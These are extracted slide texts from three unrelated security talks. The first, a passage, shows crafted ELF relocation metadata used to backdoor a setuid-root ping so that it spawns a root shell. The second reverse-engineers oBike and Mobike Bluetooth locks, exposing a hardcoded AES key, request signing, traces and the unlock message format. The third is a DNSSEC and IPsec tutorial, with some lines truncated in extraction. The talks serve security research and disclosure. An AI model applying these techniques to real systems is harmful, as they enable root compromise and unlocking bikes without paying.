get_l_next = {offset=&(symgot.value), type = 64, sym=0, addend=0x18}
deref_l_next = {offset=&(symgot.value), type = COPY, sym=0}
get_l_addr = {offset=&(symgot.value), type = COPY, sym=0}
symgot = {value:&got_0x8, size: 8, ...}
get_exec_linkmap
&got+0x8
Traversing link_map Structures
get_exec_linkmap = {offset=&(symgot.value), type = COPY, sym=0}
get_l_next = {offset=&(symgot.value), type = 64, sym=0, addend=0x18}
deref_l_next = {offset=&(symgot.value), type = COPY, sym=0}
get_l_addr = {offset=&(symgot.value), type = COPY, sym=0}
symgot = {value:&got_0x8, size: 8, ...}
get_exec_linkmap
&linkmap
write
Traversing link_map Structures
get_exec_linkmap = {offset=&(symgot.value), type = COPY, sym=0}
get_l_next={offset=&(symgot.value),type = 64,sym=0, addend=0x18}
deref_l_next = {offset=&(symgot.value), type = COPY, sym=0}
get_l_addr = {offset=&(symgot.value), type = COPY, sym=0}
symgot = {value:&got_0x8, size: 8, ...}
get_l_next
&linkmap
calculate
Traversing link_map Structures
get_exec_linkmap = {offset=&(symgot.value), type = COPY, sym=0}
get_l_next={offset=&(symgot.value),type = 64,sym=0, addend=0x18}
deref_l_next = {offset=&(symgot.value), type = COPY, sym=0}
get_l_addr = {offset=&(symgot.value), type = COPY, sym=0}
symgot = {value:&got_0x8, size: 8, ...}
get_l_next
&linkmap->l_next
write
Traversing link_map Structures
get_exec_linkmap = {offset=&(symgot.value), type = COPY, sym=0}
get_l_next = {offset=&(symgot.value), type = 64, sym=0, addend=0x18}
deref_l_next = {offset=&(symgot.value), type = COPY, sym=0}
get_l_addr = {offset=&(symgot.value), type = COPY, sym=0}
symgot = {value:&got_0x8, size: 8, ...}
deref_l_next
&l_next
calculate
Traversing link_map Structures
get_exec_linkmap = {offset=&(symgot.value), type = COPY, sym=0}
get_l_next = {offset=&(symgot.value), type = 64, sym=0, addend=0x18}
deref_l_next = {offset=&(symgot.value), type = COPY, sym=0}
get_l_addr = {offset=&(symgot.value), type = COPY, sym=0}
symgot = {value:&got_0x8, size: 8, ...}
deref_l_next
l_next
write
Traversing link_map Structures
get_exec_linkmap = {offset=&(symgot.value), type = COPY, sym=0}
get_l_next = {offset=&(symgot.value), type = 64, sym=0, addend=0x18}
deref_l_next = {offset=&(symgot.value), type = COPY, sym=0}
get_l_addr = {offset=&(symgot.value), type = COPY, sym=0}
symgot = {value:&got_0x8, size: 8, ...}
deref_l_next
l_next
write
Traversing link_map Structures
get_exec_linkmap = {offset=&(symgot.value), type = COPY, sym=0}
get_l_next = {offset=&(symgot.value), type = 64, sym=0, addend=0x18}
deref_l_next = {offset=&(symgot.value), type = COPY, sym=0}
get_l_addr = {offset=&(symgot.value), type = COPY, sym=0}
symgot = {value:&got_0x8, size: 8, ...}
get_l_addr
l_next
calculate
Traversing link_map Structures
get_exec_linkmap = {offset=&(symgot.value), type = COPY, sym=0}
get_l_next = {offset=&(symgot.value), type = 64, sym=0, addend=0x18}
deref_l_next = {offset=&(symgot.value), type = COPY, sym=0}
get_l_addr = {offset=&(symgot.value), type = COPY, sym=0}
symgot = {value:&got_0x8, size: 8, ...}
get_l_addr
l_addr
write
symgot's value is now l->l_next->l_addr –-
base address of where ELF object is loaded
Traversing link_map Structures
Demo Exploit
Built backdoor into Ubuntu's inetutils v1.8 ping
Ping runs suid as root
Given ”-t <string>”
Usage: -t, --type=TYPE send TYPE packets
Code: if(strcasecmp (<string>, "echo") == 0) ...
Goals:
Redirect call to strcasecmp to execl
Prevent call to setuid that drops root privledges
Work in presence of library randomization (ASLR)
Image: “Remote Control” by Simon Child and ”Television” by Piero borgo from The Noun Project
Demo Exploit
Goals:
Redirect call to strcasecmp to execl
Set strcasecmp's GOT entry to &execl
Prevent privlege drop
Set setuid's GOT entry to & retq instructios
Lookup offset to execl and a retq instruction in
glibc during metadata crafting time
Find base address of glibc @ runtime
Use link_map traversal trick!
The rest is easy peasy
Demo Exploit's Crafted Metadata
Symbol table '.sym.p' contains 90 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 000000000060dff0 8 FUNC LOCAL DEFAULT UND
Relocation section '.rela.p' at offset 0xf3a8 contains 14 entries:
Offset Info Type Sym. Value Sym. Name + Addend
00000060dfe0 002d00000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
00000060e9e0 004e00000005 R_X86_64_COPY 000000000060e9e0 __progname + 0
00000060e9f0 004b00000005 R_X86_64_COPY 000000000060e9f0 stdout + 0
00000060e9f8 005100000005 R_X86_64_COPY 000000000060e9f8 __progname_full + 0
00000060ea00 005600000005 R_X86_64_COPY 000000000060ea00 stderr + 0
00000060eb40 000000000005 R_X86_64_COPY 0000000000000000
00000060eb40 000000000001 R_X86_64_64 0000000000000018
00000060eb40 000000000005 R_X86_64_COPY 0000000000000000
00000060eb40 000000000001 R_X86_64_64 0000000000000018
00000060eb40 000000000005 R_X86_64_COPY 0000000000000000
00000060eb40 000000000005 R_X86_64_COPY 0000000000000000
00000060eb40 000000000001 R_X86_64_64 00000000000be6e0
00000060e028 000000000001 R_X86_64_64 0000000000000000
00000060e218 000000000008 R_X86_64_RELATIVE 0000000000401dc2
Image: ”Knitting Needles” by Connor Cesa and ”Yarn” by Marie Coons and ”Sweater” by Maurizio Fusillo from The Noun Project
(this slide intentionaly left blank)
(demo)
Thanks!
Sergey Bratus
Sean Smith
Inspirations:
The grugq
ERESI and Elfsh folks
Mayhem
Skape
Also: thanks to the Noun Project for many of the excellent graphics
b
Questions? | pdf |
Hacking
BLE Bicycle Locks
for Fun
& A Small Profit
1
whoami
• From Sunny Singapore
• Senior Security Consultant @ MWR
• Mobile and Wireless geek
– BlackHat USA 2016 – Bad for Enterprise:
Attacking BYOD Enterprise Mobile Security Solutions
2
Bike-Sharing Economy and the BLE “Smart” Lock
1
Overview
3
Building a Master Key
3
Demo
4
Analyzing Communications
2
Major Players
Major Players
6
Country
China
China
Singapore
Founded
2014
2015
2017
Operations
20 Countries
16 Countries
22 Countries
Cost
SGD$0.50/30min
Bluetooth Low Energy
Generic Access Profile (GAP)
• Peripheral
Small low powered device
e.g. bicycle lock
• Central
High powered computing device
e.g. Mobile Phone
Bluetooth Low Energy
8
Generic Attribute Profile (GATT)
• Services
Groups of Characteristics
16/128-bit UUID
• Characteristics
A single data point
16/128-bit UUID
Major Components
9
Personal BLE Bicycle Lock
Lock Decomposition
Motor to
release lock
Logic
Controller /
BLE
Notch
Spring
Mechanism
Notch
Pin
Noke Lock Services and Characteristics
Ubertooth One – Wireshark Capture
Major Components
19
iOS CoreBluetooth
CBPeripheral
• Remote peripheral devices that the app has discovered advertising or is currently connected
to.
• -m "*[CBPeripheral readValue*]"
• -m "*[CBPeripheral writeValue*]"
• -m "*[CBPeripheral setNotifyValue*]"
CBPeripheralDelegate
• Provides methods called on events relating to discovery, exploration, and interaction with a
remote peripheral.
• -m "*[* *didUpdateNotificationStateForCharacteristic*]"
• -m "*[* *didUpdateValueForCharacteristic*]"
20
Summary…
Scan QR Code
01
02
Get Lock Key From Server
04
Request Encrypted Token
05
Gets Encrypted Token
06
Decrypt Token & Unlock!
03
Server Responds with Lock Key
oBike
22
oBike Lock
oBike lock teardown and rebuild, dockless share bike rescue: https://youtu.be/Vl3Gl8w8n-Q
24
02
App Checks Lock Status. Uploads Coordinates.
04
App Requests Key Source
05
App Gets Key Source
06
Request Unlock Key
07
Server Responds with Unlock Key
08
Unlock Bike Lock
03
Server Responds with Lock Status
http://www.o.bike/download
/app.html?m=065002064
01
HTTP Message Encryption
POST /api/v2/bike/060511449/lockNo HTTP/1.1
Host: mobile.o.bike
Content-Type: application/json
version: 3.2.4
Authorization: Bearer *****
{"value":"68693cfa10579681d81837350843342d9
9f0ba4373f9926c53c1f1c88576304d0b936e700388
8288fe949e73eb1d3267b713d2b261829ee04985234
23d6965db28e8b99854bf2adf592e51fb9da3b77068
f647b29caa5f22473ad01ec1011270a9d3a73100292
b0fdf331b17b37564556df790a58489d8cad3f4dd27
6d5ae68a95fc7effefc998de151eeb0983ddc721634
5e7682df8cf2de0d2cbf3a8b7e7c1c8f8604016c377
b0195b0ab9e83c604d"}
POST /api/v2/bike/unlockPass HTTP/1.1
Host: mobile.o.bike
Content-Type: application/json
version: 3.2.4
Authorization: Bearer *****
{"value":"aa47e49f01cc740fdaa87973966
799f94bf02ced7416b15f1cc7f63bf52f50f9
28e76c5d7f911a054188751f7243d68daef4b
69b22432ec2166dc823f29de811e21f4adbfd
b826748b9e2573912422b0a51f6a07a5c7be2
bf7d41b56d69945c3ecf3ec94444db5abb26b
8c771fe8eba91cb1a5d336cc2130bde9bcb25
350250bb92c5aa880b2e6c0b3c0004c11ab0f
14eb1182b78fb3dcb5eb68e61205ae5048"}
HTTP Message Encryption - AES
27
9386 ms
| | +[OBikeEncrypt aesEncryptString:{"deviceId":"1521828969000-
8035385","dateTime":"1521984609867.631836","longitude":103.8331503422035,"latitude":1.38163138646
7611}&58bc93f4ac249b829174520a5afe733503f371f8]
9388 ms
| | | +[OBikeEncrypt aesEncryptData:<7b226465 76696365 4964223a 22313532
31383238 39363930 30302d38 30333533 3835222c 22646174 6554696d 65223a22 31353231 39383436
30393836 372e3633 31383336 222c226c 6f6e6769 74756465 223a3130 332e3833 33313530 33343232
3033352c 226c6174 69747564 65223a31 2e333831 36333133 38363436 37363131 7d263538 62633933
66346163 32343962 38323931 37343532 30613561 66653733 33353033 66333731 6638> keyData:<6f42694f
534d5946 557a4c65 64333234>]
keyData:<6f42694f 534d5946 557a4c65 64333234> = oBiOSMYFUzLed324
oBiOSMYFUzLed
324
AES Key
HTTP Message Encryption – SHA1Sum
28
POST /api/v2/bike/unlockPass HTTP/1.1
Host: mobile.o.bike
Content-Type: application/json
version: 3.2.4
{
"bikeId":"060511449",
"deviceId":"1521828969000-8035385",
"dateTime":"1521984617263.854980",
"keySource":"c4f1dc24"
}&ad6dad370f01782adfe200584ff63be31af29069
{
"bikeId":"060511449",
"deviceId":"1521828969000-8035385",
"dateTime":"1521984617263.854980",
"keySource":"c4f1dc24"
}&
oBiOSX4buhBMG
324
POST /api/v2/bike/060511449/lockNo HTTP/1.1
Host: mobile.o.bike
Content-Type: application/json
version: 3.2.4
{
"deviceId":"1521828969000-8035385",
"dateTime":"1521984609867.631836",
"longitude":103.8XXXXXXXX,
"latitude":1.3XXXXXXXX
}&58bc93f4ac249b829174520a5afe73
02
App Checks Lock Status. Uploads Coordinates.
http://www.o.bike/download
/app.html?m=065002064
01
03
Server Responds with Lock Status
HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Connection: close
Vary: Accept-Encoding
Content-Length: 93
{"data":
{"lockNo":"639BADF22",
"lockType":2,
"faultBike":false},
"success":true,"errorCode":100}
16504 ms -[BluetoothManager peripheral:0x1742f6080 didDiscoverCharacteristicsForService:0x17667cb00
error:0x0]
16506 ms
| -[CBPeripheral setNotifyValue:0x1 forCharacteristic:
<CBCharacteristic: 0x1704ae100, UUID = FFF6,
properties = 0x16, value = (null), notifying = NO>]
16515 ms
| -[OBikeBluetoothManager BLEDidNotify]
16519 ms
| | | | | | -[CBPeripheral writeValue:0x17483f980 forCharacteristic:0x1704ae100 type:0x1]
16519 ms
| | | | | | writeValue -> _NSInlineData
16519 ms
| | | | | | forCharacteristic -> CBCharacteristic
04
App Requests Key Source
16518 ms
| | | | | +[BluetoothSendMessage sendRentBikeInstructionWithCBPeripheral:0x1742f6080
CBCharacteristic:0x1704ae100 Longti:0x0 Lat:0x0]
16519 ms
| | | | | | +[BluetoothSendMessage setValueForRentBike:0x0 Lat:0x0]
16519 ms
| | | | | | -[CBPeripheral writeValue:0x17483f980 forCharacteristic:0x1704ae100 type:0x1]
16519 ms
| | | | | | writeValue -> _NSInlineData
16519 ms
| | | | | | forCharacteristic -> CBCharacteristic
16774 ms -[BluetoothManager peripheral:0x1742f6080 didUpdateValueForCharacteristic:0x1704ae100 error:0x0]
16775 ms
| | -[HandleBluetoothMessage checkBlueToothDataWith:0x170824b40]
16775 ms
| | | +[BluetoothSendMessage GetBcc:0x170013ab0 size:0xc]
16781 ms
| | -[OBikeBluetoothManager BLEGetBike:0x17045fec0]
16783 ms
| | | +[OBikeEncrypt aesEncryptString:{"bikeId":"060511449","deviceId":“XXXXXXXXXX",
"dateTime":"1521984617263.854980","keySource":"c4f1dc24"}
&ad6dad370f01782adfe200584ff63be31af29069]
05
App Gets Key Source
POST /api/v2/bike/unlockPass HTTP/1.1
Host: mobile.o.bike
Content-Type: application/json
version: 3.2.4
{
"bikeId":"060511449",
"deviceId":"1521828969000-8035385",
"dateTime":"1521984617263.854980",
"keySource":"c4f1dc24"
}&ad6dad370f01782adfe200584ff63be31af29069
HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Connection: close
Vary: Accept-EncodingContent-Length: 130
{"data":{
"encryptionKey":180,
"keys":"8be1be17d41e8fdff1ae1c82e4500fec",
"serverTime":1521984619298
},"success":true,"errorCode":100}
06
Request Unlock Key
07
Server Responds with Unlock Key
19106 ms -[OBikeBluetoothManager openLock:0xb000000000000b43 keys:0x1718648c0 serverTime:0xb0001625d5a43223]
19107 ms
| | -[BluetoothManager openLock:0xa383430343937327 Time:0x170440690 Key:0x1718648c0 encryptionKey:0xb4]
19108 ms
| | | | | +[BluetoothSendMessage setValueForUnlock:1521984619.298000 Index:0xb4
Phone:0xa383430343937327 Key:8be1be17d41e8fdff1ae1c82e4500fec]
19113 ms
| | | | | | +[BluetoothSendMessage ToHex:0x5ab7a46b]
19114 ms
| | | | | | +[BluetoothSendMessage dataFromHexString:0x174a48550]
19114 ms
| | | | | | +[BluetoothSendMessage dataFromHexString:0x174a28da0]
19114 ms
| | | | | | +[BluetoothSendMessage GetBcc:0x174a45fd0 size:0x19]
19117 ms
| | | | | | +[BluetoothSendMessage GetBcc] retval: 0xff
19118 ms
| | | | | -[CBPeripheral writeValue:0x174a54340 forCharacteristic:0x1704ae100 type:0x1]
19118 ms
| | | | | writeValue -> NSConcreteMutableData
19118 ms
| | | | | forCharacteristic -> CBCharacteristic
19127 ms
| | | | | -[CBPeripheral writeValue:0x174a53ef0 forCharacteristic:0x1704ae100 type:0x1]
19127 ms
| | | | | writeValue -> NSConcreteMutableData
19127 ms
| | | | | forCharacteristic -> CBCharacteristic
08
Unlock Bike Lock
Unlock Algorithm
Message 1
???
Message Length
Command
67 74
18
82
Message 2
AES Key (Truncated)
BCC
8b e1 be 17 d4 1e 8f df f1 ae 1c 82
ff
+[BluetoothSendMessage setValueForUnlock:1521984619.298000
Index:0xb4
Phone:0xa383430343937327
Key:8be1be17d41e8fdff1ae1c82e4500fec]
Key Index
???
Date Time
b4
00 00 02 79 40 48
00 6b a4 b7 5a
BCC Calculation:
for i in bytearr {
x ^= i
}
return x
bytearr = Command … AES Key
oBike
Demo
36
MoBike
38
02
App Checks Lock Status. Uploads Coordinates.
04
Server Responds with Unlock Key
05
03
Server Responds with Lock Status
http://www.mobike.com/down
load/app.html?b=AXXXXXXX
01
Unlock Bike Lock
HTTP Message Integrity Check
41
POST /api/v2/rentmgr/unlockBike.do?sign=b9441790c2e3c42a57b439b51995f546 HTTP/1.1
Host: app.mobike.com
time: 1530100847000
mobileNo: +6512345678
accesstoken: XXXXXXXXXXXXXXXX
platform: 0
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 445
accesstoken=XXXXXXXXXXXXXXXX&bikecode=A0000XXXXX&biketype=0&btEnabled=1&channel=1&clie
nt_id=ios&epdata=Es7dCTkXiZ1IV3H6z%2BS9R%2BYzRjFby0T4ADUNKh0aXm6wfZzfJtQEQ5IC%2By5lZYG
KFVy8I9vP6wwvkKCEqxNSMMCM3WespduyU8Svj7qyadFV4pN/nbC1behZa7ew3V0G8ofy6udhTkjbWLcjWeWvi
oJwrELB24aALccUKxCoMds%3D&latitude=1.3XXX&longitude=103.8XXX&mobileNo=+6512345678&time
=1530100847000×tamp=1530100847.123456&userid=XXXXXXXXX
HTTP Message Encryption
42
30714 ms
| +[RSA encryptString:XXXXXXXXXXuseridXXXXXXX#1530031691.737942
publicKey:MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDCi/VezJp6KaJNXZCHpQ4YmKxlWrcrddow5pHDX3vHeiUqdOoJZJoBp
UvFuFdlWEqP7itWNcPnuYAqRwXkh6xWD1oM4MrK4eH8/AzdGIgrcgq+pbB3DymgEujkHBhrxXqFiUS2OjfebKwU0xJTPQM/KcxjqGDZ
xzswOxFJDxyKcwIDAQAB]
enter mbk_lowercaseMd5 ->
accesstoken=XXXXXXXXXX&bikecode=A0000XXXXX&biketype=0&btEnabled=1&channel=1&client_id=ios&epdata=Es7dCT
kXiZ1IV3H6z+S9R+YzRjFby0T4ADUNKh0aXm6wfZzfJtQEQ5IC+y5lZYGKFVy8I9vP6wwvkKCEqxNSMMCM3WespduyU8Svj7qyadFV4
pN/nbC1behZa7ew3V0G8ofy6udhTkjbWLcjWeWvioJwrELB24aALccUKxCoMds=&latitude=1.381585998461937&longitude=10
3.8330852148159&mobileNo=+65XXXXXXXX&time=1530031691000×tamp=1530031691.737942&userid=XXXXXXXXX@io
ssecret
leave mbk_lowercaseMd5 -> b9441790c2e3c42a57b439b51995f546
02
App Checks Lock Status. Uploads Coordinates.
http://www.o.bike/download
/app.html?m=065002064
01
POST
/api/v2/rentmgr/unlockBike.do?sign=9623f419340536f95c31
4d81c4c2b548 HTTP/1.1
bikecode=A0000XXXXX&biketype=0&btEnabled=1&channel=1&cl
ient_id=ios&epdata=ML1G%2BNjHnhzQPMoRZwtBx5k3c0yOBpBFZK
ePvb3WsR0%2BWBvtT7saxcwIwbI6JAkG27HGjWKMGjeCwUyvw1zOgOA
17Lybmbv30ltfBwUkeFmpgklpG2YMEgFEEdCjYxhskfMtoLKWCz3WFB
riiZ5S6yHnH5aT1yKe/YB7mMo1f0U%3D&latitude=1.3XXX&longit
ude=103.8XXXX×tamp=1530096030.920647&userid=XXXXX
03
Server Responds with Lock Status
Faulty
HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Connection: close
{
"bikeHardwareType": 2,
"bikeId": "AXXXXXXX",
...
"message": "Our apologies, this bike needs
maintenance, please use another one",
...
}
Good
HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Connection: close
{
"bikeHardwareType": 2,
"bikeId": "AXXXXXXX",
...
"object": {
"authkey": "",
"data":
"001BB441CB88B4034565E1C7BE448CD4B3D9F5CAA8452A2323
5201",
"orderid": "MBKA0000XXXXXXXX",
...
04
Server Responds with Unlock Key
05
Unlock Bike Lock
32484 ms
-[MBKUnlockBikeData setData:001BB441CB88B4034565E1C7BE448CD4B3D9F5CAA8452A23235201]
35446 ms
-[MBKPeripheral peripheral:<CBPeripheral: 0x1744ee380, identifier = 2B7D32FB-8B34-4C58-BB57-
A37976F63FC3, name = mobike, state = connected> didDiscoverCharacteristicsForService:<CBService:
0x172679c80, isPrimary = YES, UUID = A000FAA0-0047-005A-0052-6D6F62696B65> error:0x0]
35449 ms
| -[CBPeripheral setNotifyValue:0x1 forCharacteristic:<CBCharacteristic: 0x174aa45c0, UUID
= A000FEE1-0047-005A-0052-6D6F62696B65, properties = 0x10, value = <31>, notifying = NO>]
35452 ms
| -[CBPeripheral setNotifyValue:0x1 forCharacteristic:<CBCharacteristic: 0x174aa46e0, UUID
= A000FEE0-0047-005A-0052-6D6F62696B65, properties = 0x8, value = <33324634 46454444 37363546 38453530
46324232>, notifying = NO>]
05
Unlock Bike Lock
35591 ms
| -[MBKPeripheral writeString:30001BB441CB88B40345]
35592 ms
| | -[CBPeripheral writeValue:0x17525e1b0 forCharacteristic:0x174aa46e0 type:0x0]
35592 ms
| | writeValue -> _NSInlineData
35592 ms
| | forCharacteristic -> CBCharacteristic
05
Unlock Bike Lock
35666 ms
| -[MBKPeripheral writeString:3165E1C7BE448CD4B3D9]
35667 ms
| | -[CBPeripheral writeValue:0x17145c410 forCharacteristic:0x174aa46e0 type:0x0]
35667 ms
| | writeValue -> _NSInlineData
35667 ms
| | forCharacteristic -> CBCharacteristic
05
Unlock Bike Lock
35739 ms
| -[MBKPeripheral writeString:32F5CAA8452A23235201]
35741 ms
| | -[CBPeripheral writeValue:0x17125e720 forCharacteristic:0x174aa46e0 type:0x0]
35741 ms
| | writeValue -> _NSInlineData
35741 ms
| | forCharacteristic -> CBCharacteristic
Unlock Algorithm
Message 1
Index ?
Message
30
001BB441CB88B40345
32484 ms
-[MBKUnlockBikeData setData:001BB441CB88B4034565E1C7BE448CD4B3D9F5CAA8452A23235201]
Message 2
Index ?
Message
31
65E1C7BE448CD4B3D9
Message 3
Index ?
Message
32
F5CAA8452A23235201
MoBike
Demo
50
Repeatable Process
1. Enumerate Services and Characteristics
2. Capture Characteristics Settings
-m "*[CBPeripheral setNotifyValue*]"
3. Capture BLE Reads & BLE Writes
-m "*[CBPeripheral readValue*]"
-m "*[CBPeripheral writeValue*]"
52
53
Thank you
for
listening!
Q&A | pdf |
By Paul Wouters
<[email protected]>
_
Theory of DNSSEC
_
Using bind with DNSSEC
_
Securing “.nl” with SECREG
_
Deploying DNSSEC on large scale
Overview presentation
PART ONE: DNSSEC
_
IPsec basics
_
What is Opportunistic Encryption
_
Protecting the net with OE
_
Installing and Configuring OE
_
Securing the wireless: WaveSEC
_
Testing OE
Overview presentation
PART TWO: IPsec
_
From
To
Question
Answer
_
Clientip
Resolver
A www.freeswan.nl
193.110.157.9
_
<file>
-
NS .
NS
A.ROOT-SERVERS.NET.
_
A
198.14.0.4 (GLUE)
_
Resolver
198.14.0.4
NS nl.
NS
NS.DOMAIN-REGISTRY.NL
_
A
193.176.144.2 (GLUE)
_
Resolver
193.176.144.2
NS freeswan.nl.
NS ns.xtdnet.nl.
_
A
193.110.157.2 (GLUE)
_
Resolver
193.110.157.2
A www.freeswan.nl.
A 193.110.157.9
(AUTHORATIVE)
Zone view of DNS
_
The Root Registry (InterNic/VeriSign/DoD/IANA/IAB/ICANN)
_
ROOT-SERVERS.NET (IETF)
_
CC:TLD-SERVERS.NET (IETF/RIPE/RIPE NCC)
_
The NL Registry DOMAIN-REGISTRY.NL (SIDN)
_
(AMS-IX,KPN,NIKHEF,SURFNET,RIPE NCC,NIC.SE,NIC.FR,UUNET)
_
Registrar of 157.110.193.IN-ADDR.ARPA. (XTDNET,RIPE,BBC)
_
ISP of 157.110.193.IN-ADDR.ARPA. (XTDNET,BBC,EASYNET,INTERNATION)
_
Registrant (FreeS/WAN)
_
23 Organisations (+everyone with access to routing
or BGP tables)
Organisational view of DNS
_
Client <-> DHCP Server
_
Client <-> Resolver
_
Resolver itself (rootfile)
_
Resolver's communication to the net
_
Various glue records and their update mechanism
_
Various nameserver <-> nameserver communication
_
Various network <-> network communication
Tip
Vulnerabilities of DNS:
1) Integrity of data
2) Authenticity of data
_
Secure client <-> resolver communication
–
Secure LAN/DHCP?
–
DNSSEC aware Resolver on Client(!)
_
Secure communication nameservers
–
Zone transfers (AXFR)
–
dynamic updates
_
Secure data storage integrity
–
Zonefiles
–
Caches
Tip
Protect DNS with digital signatures
_
TSIG: Preshared Secret Key to protect AXFR
–
Strictly speaking not necessary with secure zones
–
Secure the IP layer
•
IPsec tunnel between master and slaves
•
Transfer zones from master to slave using SSH/SCP/SFTP
_
SIG0: Public key cryptography
–
See above
–
Useful for dynamic updates
Secure nameserver communication
_
The KEY record: The public key used
unfortunately for DNSSEC only since RFC3445
_
The SIG record: The signatures created by that key
_
The NXT record: For denial of existance
_
The DS record: For building the chain of trust
_
New flag: the Authenticated Data (AD) flag
Not protected by a signature!
DNSSEC: The new record types
DNSSEC: The KEY record
RRlabel TTL IN KEY <flags> <protocol> <algorithm> <key material>
reeswan.nl. 3600 IN KEY 256 3 5 (
AQPRv8TN8ayfxrtRo1dveOMVSSpT4PGEZvfGjaERldQZ
izYKgVBj/l84DjVktGUbkJ3pBiLBAzZ+5nbGkWn+Lz5Z
HMlQnjWde/mKKDlZnwQ13vU+HPt3cszNy9CdBmn6l8=
) ; key id = 56954
ags: authentication, confidentiality
rotocol: DNSSEC = 3, IPsec = 4 [only protocol 3 is allowed since RFC3445]
DNSSEC: The SIG record
RRlabel TTL IN SIG <type covered> <algorithm> <nr. of labels>
<original ttl> <sig expiration>
<sig inception>
<key tag> <signer name> <key
material>
reeswan.nl. 3600 IN NS ns.xtdnet.nl.
reeswan.nl. 3600 IN NS ns1.xtdnet.nl.
reeswan.nl. 3600 IN SIG NS 5 2 3600 20030506165654 (
20030406165654 56954 freeswan.nl.
bTKJvyrwmP+nsFoE8oelC4gFqoyJxkawNIExMVupI+ie
NeyUYdkrpDVBF5yn7U0dLxQu/+wqbOGYjPWx/r1ybZF7
DNSSEC: The NXT record
RRlabel TTL IN NXT <alphanumeric next RRlabel>
<list of existing RRsets>
reeswan.nl. 3600 IN NXT activeOE.freeswan.nl. NS SOA MX SIG KEY
NXT
Denial of existance: We now know there is no RRset abc.freeswan.nl.
DNS: Example zone
DNSSEC: Example zone
_
The Parent should securely delegate authority of the
child zone
–
Parent cannot give a “non-authoritative” answer
_
Parent cannot not sign child zone data
–
It has no private key of child
_
Parent should not sign child zone data
–
It is not authoritative for child zone
_
Parent will need to serve NS (and perhaps glue)
records of child zone
_
Answer needs to be secure
The Delegation problem
DNSSEC: The DS record
RRlabel TTL IN DS <key tag> <algorithm> <20 bit SHA-1 Digest>
reeswan.nl.
345600 IN NS ns.xtdnet.nl.
reeswan.nl.
345600 IN NS ns1.xtdnet.nl.
reeswan.nl.
345600 IN DS 49601 5 1 (
C7D3B76F7DEE10E6A73B7D0F6EDAF55FFF60CA78 )
reeswan.nl.
345600 IN SIG DS 1 2 345600 20030416070311 (
20030409070311 6869 nl.
W2pmK7IGF1W7SDJxyyTep707lDRQ36IEkmyEhezJO72U
3g1YeWTI4r5lSAOkGW/+u74FRuQgMFzYzRisCZKYCiBm
rNiatRg+TTf9+yzJcqg9A2CuygNBi8I7aVloYxsM+qri
9J1CJQuxAzbKLPAppQw4UP1VOiB4NvHWG2jwFNw= )
These are all the freeswan nl records at the parent
_
In an ideal world: Only one trusted key is needed
–
The root (“.”) key
_
In the real world: Secure entry points
_
Your world: Make your own trusted key(s)
trusted-keys {
“nl.” 256 3 1
“AQOtBQXOH5L/wmOt01PuxXAfSk1bw/dneW
PoCyl4yi8tLCjz+DkAs0mz AAvd9XUNp
YDaf5KTciSs9254oeiE0s0FuYbxS4nm7
veZSPCgWoHULFNJ tKPNeb4EEblNkAsE
GagwQJoIrjlAYKx4CEn3hPwElUlVko23
I5tSSPPs sxrVnQ==”;
};
Tip
Delegation fixed: chain of trust
_
Small keys can be attacked using brute force
_
Large keys are strong, but CPU expensive
_
Keys can become useless
–
Key can be stolen, lost or compromised
–
Key can be based on impure random
–
Key can leak information when in use (DSA)
_
Keys will need to be replaced at some point
–
Parent needs to be (securely) informed to update DS record
–
We want to minimize parent <-> child interaction
–
Cache, TTL, Signature expiration: Both keys are needed at the
same time
Tip
Problem: Time is not on our side
_
One Zone Signing Key (ZSK, 768bit, one month)
–
768bit
–
Validity of one month
–
Signs all RRsets in the zone (including KEY records)
–
Can be changed without parent notification
_
One Key Signing Key (KSK, 2048bit, one year)
–
Parent's DS record points to this key
–
2048bit
–
Validity of one year
–
Only signs the key records
–
Must inform parent when this key changes
Tip
Two keys: ZSK and KSK
Tip
Scheduled ZSK Rollover
L
normal
prepare
rollover
parent:
DS(KSK)
DS(KSK)
DS(KSK)
child:
KSK
KSK
KSK
ZSK1
ZSK1, ZSK2
ZSK2
KSK(KSK,ZSK1)
KSK(KSK,ZSK1,ZSK2)
KSK(KSK,ZSK2)
ZSK1(zone)
ZSK1(zone)
ZSK2(zone)
Tip
Scheduled KSK Rollover
L
normal
prepare
rollover
parent:
DS(KSK1)DS(KSK1)
DS(KSK2)
child:
KSK1
KSK1,KSK2
KSK2
ZSK
ZSK
ZSK
KSK1(KSK1,ZSK)
KSK1(KSK1,KSK2,ZSK)
KSK2(KSK2,ZSK)
ZSK(zone)
ZSK(zone)
ZSK(zone)
Tip
Unscheduled Rollover
PANIC!!!
- Have emergency procedure ready!
- Have spare KSK in zone for emergency rollover?
- Contact everyone who has your key as trusted key!
- Contact children!
- Short TTL's and short SIG lifetime help contain disaster
- Emergency out of bound contact needed with parent
_
Only use latest snapshot on signer machine
–
As of writing: bind-9.3.0s20021217 [CHECK]
–
./configure –with-openssl
–
Threads broken in latest snapshot, use –disable-threads
_
Do not use “host” or “nslookup”
–
For “host” like output, use “dig +multiline”
–
For dnssec, use “dig +dnssec”
–
To ask for data without checks, use “dig +cdflag”
_
You can use stable bind8/9 to serve secure zones
–
Note: bind8 does NOT serve data with expired SIG record. This
data will disappear on bind8. Bind9 serves data with expired SIG
records
Tip
Setup bind
Tip
Bind: Create secure zonefile
~> dnssec-keygen -a RSASHA1 -b 2048 -n ZONE freeswan.nl
Kfreeswan.nl.+005+49601
~> dnssec-keygen -a RSASHA1 -b 768 -n ZONE freeswan.nl
Kfreeswan.nl.+005+56954
(creates .key and .private files)
~> cat *key >> /var/named/freeswan.nl
(increase serial number in zone)
~> dnssec-signzone -o freeswan.nl -k Kfreeswan.nl.+005+49601.key
/var/named/freeswan.nl Kfreeswan.nl.+005+56954.key
(upload to master and change named.conf to load zone “freeswan.nl.signed” instead
of “freeswan.nl”)
Test: dig +multiline +dnssec -t key freeswan.nl @ns.xtdnet.nl
Secure .nl: http://secreg.nlnetlabs.nl/
Secure .nl: http://secreg.nlnetlabs.nl/
Securely Resolving .nl domains
Use bakbeest.sidn.nl or alpha.nlnetlabs.nl
Tip
DNSSEC experiment for com/net/org
domains
See: www.dnssec.verisignlabs.com
- No personal experience
- Still needs pre-DS dnssec-makekeyset
